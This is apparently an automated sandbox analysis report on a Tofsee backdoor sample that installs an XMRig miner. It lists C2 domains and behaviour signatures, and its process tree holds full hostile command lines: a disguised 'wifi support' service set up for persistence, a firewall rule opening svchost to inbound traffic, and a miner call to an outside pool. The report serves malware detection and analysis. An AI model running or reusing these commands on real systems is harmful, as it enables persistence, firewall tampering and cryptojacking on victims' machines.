Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/11/2022, 16:00

General

  • Target
    file.exe
  • Size 173KB
  • Sample221113-tfmx4sbf42
  • SHA256 eeacd8223107e6b0be74ffd523d11f58e35fbed992e6960f2294774b2aefa543
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\shtscofk\
      2⤵
        PID:4920
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ixlibhdg.exe" C:\Windows\SysWOW64\shtscofk\
        2⤵
          PID:1032
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create shtscofk binPath= "C:\Windows\SysWOW64\shtscofk\ixlibhdg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4836
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description shtscofk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4220
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start shtscofk
          2⤵
          • Launches sc.exe
          PID:3676
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4844
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4764 -s 1040
          2⤵
          • Program crash
          PID:4196
      • C:\Windows\SysWOW64\shtscofk\ixlibhdg.exe
        C:\Windows\SysWOW64\shtscofk\ixlibhdg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:964
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4172
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4540
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 512
          2⤵
          • Program crash
          PID:1644
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 4764 -ip 4764
        1⤵
          PID:960
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 964 -ip 964
          1⤵
            PID:4656

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ixlibhdg.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ixlibhdg.exe
                • Size 14.9MB
                • SHA256 446c737153a699547fcd73cb588a95938b128ef0069432f93fba084b20af5dac
                • MD5 SHA1 SHA512 SSDEEP

                ixlibhdg.exe

                • Path C:\Windows\SysWOW64\shtscofk\ixlibhdg.exe
                • Size 14.9MB
                • SHA256 446c737153a699547fcd73cb588a95938b128ef0069432f93fba084b20af5dac
                • MD5 SHA1 SHA512 SSDEEP

                memory/964-150-0x0000000000400000-0x0000000000591000-memory.dmp

                memory/964-148-0x00000000006F0000-0x0000000000703000-memory.dmp

                memory/964-147-0x0000000000733000-0x0000000000743000-memory.dmp

                memory/4172-157-0x0000000001990000-0x0000000001996000-memory.dmp

                memory/4172-163-0x00000000019F0000-0x00000000019F5000-memory.dmp

                memory/4172-169-0x00000000025D0000-0x00000000025D7000-memory.dmp

                memory/4172-166-0x0000000007100000-0x000000000750B000-memory.dmp

                memory/4172-144-0x0000000000310000-0x0000000000325000-memory.dmp

                memory/4172-160-0x00000000019A0000-0x00000000019B0000-memory.dmp

                memory/4172-154-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/4172-153-0x0000000000310000-0x0000000000325000-memory.dmp

                memory/4172-152-0x0000000000310000-0x0000000000325000-memory.dmp

                memory/4540-173-0x0000000000A20000-0x0000000000B11000-memory.dmp

                memory/4540-178-0x0000000000A20000-0x0000000000B11000-memory.dmp

                memory/4764-151-0x0000000000400000-0x0000000000591000-memory.dmp

                memory/4764-133-0x0000000000830000-0x0000000000843000-memory.dmp

                memory/4764-149-0x00000000008A9000-0x00000000008BA000-memory.dmp

                memory/4764-134-0x0000000000400000-0x0000000000591000-memory.dmp

                memory/4764-132-0x00000000008A9000-0x00000000008BA000-memory.dmp